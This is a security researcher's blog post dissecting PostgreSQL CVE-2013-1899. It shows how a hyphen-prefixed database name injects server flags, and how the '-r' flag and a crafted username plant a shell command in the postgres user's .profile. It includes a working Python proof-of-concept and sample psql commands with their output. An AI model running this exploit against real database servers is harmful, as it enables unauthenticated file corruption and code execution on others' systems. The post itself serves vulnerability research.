Dissecting PostgreSQL CVE-2013-1899

So, last week the Postgresql group released an update to its popular open-source RDBMS to address a security issue – pretty standard…

This particular update though was pretty highly anticipated, primarily because a week prior to its release the Postgres devs posted a rather ominous message to the pgsql-hackers mailing list (Here http://www.postgresql.org/message-id/14040.1364490185@sss.pgh.pa.us) stating that the upcoming release would contain fixes for a security issue that was “sufficiently bad” enough to warrant temporarily closing down access to the public git repository until updated packages were available.

I don’t know about you, but a super secret security update that’s so bad that a popular open-source project temporarily goes closed-source so that the details aren’t leaked gets us a little excited!

So then Thursday the release came, along with CVE-2013-1899. At first glance it looks like this is mostly a DoS, at least from a remote, unauthenticated standpoint. And a local privilege escalation at best under some very specific circumstances (Authenticated user with same name as database). So our objective was to see if we could leverage this DoS vuln into proper RCE, or at least as close as we can get…

Digging In

Let’s take a look at this thing. Basically, the essence of the vuln is that when a client connects and specifies a database name that begins in “-” (hyphen), the postgres server misinterprets the database name as a command line flag for the server instance handling that connection (Even before any authentication is performed). In other words, an unauthenticated attacker can specify arbitrary command line flags to the target postgres server that will handle their session.

According to the Postgres folks, the argument they think is most dangerous is the “-r” flag, with specifies a file to send all server output to. By using this option, an attacker can specify any file that is writable by the user running postgres, like the config or database files, corrupting these files with server output “garbage” and causing a denial of service.

The available command line arguments, other than -r, are pretty sparse. But one looks like it might be useful: “-c” lets us set a named run-time parameter, which gives us a wider array of options as detailed in “Chapter 18″ of the PostgreSQL manual (Actually, most other command line arguments are short versions of run-time parameters).

Here’s a few of the options that sounded interesting at first:

  • shared_preload_libraries – “…specifies one or more shared libraries to be preloaded at server start…” Hmm, function hooking anyone?
  • archive_command – “The shell command to execute to archive a completed WAL file segment…” Shell command always sounds good…
  • log_line_prefix – “…printf style string that is output at the beginning of each log line…” Attacker controlled output?
  • dynamic_library_path – Specifies path for dynamically loadable modules where directory isn’t specified in LOAD or CREAT FUNCTION commands.
  • local_preload_libraries – “…specifies one or more shared libraries that are to be preloaded at connection start…”

After a closer look:

  • shared_preload_libraries – Might let us specify an attacker supplied library to preload and use for function hooking, but we’d at least need write access to the filesystem.
  • archive_command – Lets us specify a shell command to run when the write-ahead log is archived. Unfortunately it looks like several other parameters must be set for the archive_command to actually trigger and after looking deeper, we’re limited to only one injected command line flag.
  • log_line_prefix – At first glance I thought that if combined with the -r option this might let us prefix log messages with something useful, allowing controlled writes to arbitrary files. Unfortunately, again, we’re limited to injecting a single option at a time.
  • dynamic_library_path or local_preload_libraries – Similar to shared_preload_libraries, with more restrictions.

Hmm, so unfortunately none of these look like they’ll lead to remote code execution, so we’re back to writing “garbage” output to arbitrary files with “-r”. Let’s see what get’s written when we specify an output file with “-r”:

psql --host=192.168.1.100 --dbname="-rtest.out"

test.out:

2013-04-08 14:24:45 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100", user "test", database "-rtest.out", SSL on
2013-04-08 14:24:45 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100", user "test", database "-rtest.out", SSL off

OK – So we have a date / time stamp and typical log message. Followed by our client IP (Can’t do much there), followed by the username we’re trying to connect as (Hmm) followed by our command-line flag a.k.a dbname. What happens if we specify a username?

psql --username="test123" --host=192.168.1.100 --dbname="-rtest.out"

test.out:

2013-04-08 14:25:50 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100", user "test123", database "-rtest.out", SSL on
2013-04-08 14:25:50 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100", user "test123", database "-rtest.out", SSL off

So we can at least control what gets written to the log by specifying a username of our choosing… After looking at the code or playing with it a little, we find that we have 63 bytes of completely controllable data we can inject into arbitrary files (Preceded and succeeded by insignificant log message data).

So what can we do with this? First, in order to get some code to execute we need to target a lazy parser that will either ignore or warn on encountering the unrecognizable log data, but continue execution of our supplied code. Typically a good candidate for this would be web scripting languages like PHP, where we could wrap our code in <? ?> tags to be parsed by the interpreter.

So that’s one option – if there’s a web server with a script interpreter like PHP on the same host as the Postgresql server, we might be able to write code to parseable files and trigger it via the web. There’s a big caveat though, the web directory needs to be world writable (Or at least writeable by the user that owns the postgres process), also the default mode for new files created with the “-r” flag is 0600, so even if we write a new web file it won’t be executable. Instead, we’d need to find an existing file to append to that is already executable and that we have permission to write to.

The server does send back “could not open” and “Permission denied” messages to the client though, so you could potentially brute-force writeable files / directories present on the server.

Another approach

Instead of web scripts, what if we look for other scripts that are writeable by the postgres user in a default installation (On Ubuntu in this case)? After not finding much, I decided to instead target the .profile in ~postgres/ (/var/lib/postgres on Ubuntu).

Let’s look again at the log output from our “-r” injection:

2013-04-08 14:25:50 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100", user "test123", database "-rtest.out", SSL on
2013-04-08 14:25:50 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100", user "test123", database "-rtest.out", SSL off

So, in order to inject something useful into a .profile, we would need to write a double-quote (“) followed by a newline (0x0a), followed by our desired command(s), followed by a hash character (#) to comment out the rest of the garbage.

Unfortunately, the psql utility doesn’t seem to like special characters like newlines. So we’ll have to write our own little client. The protocol is documented in the PostgresQL documentation, or even easier, we can just look at the protocol on the wire with Wireshark since there’s a pgsql dissector.

Let’s see what we get on the wire when we run the following command:

psql –username=”AAAAAAAAAAAAAAAAAAAAAAAAAA” –host=192.168.2.22 –dbname=”-BBBBBBBBBBBBBBBB”

Screen Shot 2013-04-09 at 2.04.07 PM

As we can see, the postgres protocol consists of:

  • A 4 byte big-endian length field (Which includes the size of itself)

Screen Shot 2013-04-09 at 2.04.35 PM

  • A magic value (0×00, 0×03, 0×00, 0×00)
  • And then several commands delimited by null bytes:
    • user
    • <supplied user value>

Screen Shot 2013-04-09 at 2.04.55 PM

    • database
    • <supplied database value>
  • Screen Shot 2013-04-09 at 2.05.09 PM
    • application_name
    • <supplied application name>

Screen Shot 2013-04-09 at 2.05.22 PM

    • client_encoding & value (We’re going to leave out)
    • Final null byte

So we’ll whip up a quick python PoC to craft a request with our desired inputs:


import socket
import sys
import struct

HOST="192.168.1.100"
PORT=5432

buf = "\x00\x03\x00\x00" \
 "user\x00" \
 "\"\x0a" + sys.argv[1] + " #\x00" \#Supplied username (Our controlled data)
 "database\x00" \
 "-r" + sys.argv[2] + "\x00" \#Supplied filename to write to
 "application_name\x00psql_pwnie\x00\x00"

buf = struct.pack(">I", len(buf)+4) + buf

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST,PORT))
sock.send(buf)
data = sock.recv(1024)
sock.close()

print data

sys.exit(0)

This will take the first argument as the command to inject, and the second arg as the location of the output file (.profile).

x30n$ python pgsqlpwnie.py "/usr/bin/cal" /var/lib/postgresql/.profile

E�SFATALC28000Mno pg_hba.conf entry for host "192.168.1.20", user ""
/usr/bin/cal #", database "-r/var/lib/postgresql/.profile", SSL offFauth.cL483RClientAuthentication

And:

root@ubuntu:~# su - postgres
2013-04-09: command not found
 April 2013
Su Mo Tu We Th Fr Sa
 1 2 3 4 5 6
 7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
postgres@ubuntu:~$

Now we have to wait for an administrator to “su – postgres”. Likely? Eh. But shodan shows over 300k hosts listening on port 5432…

Not exactly RCE, but better than the advertised DoS.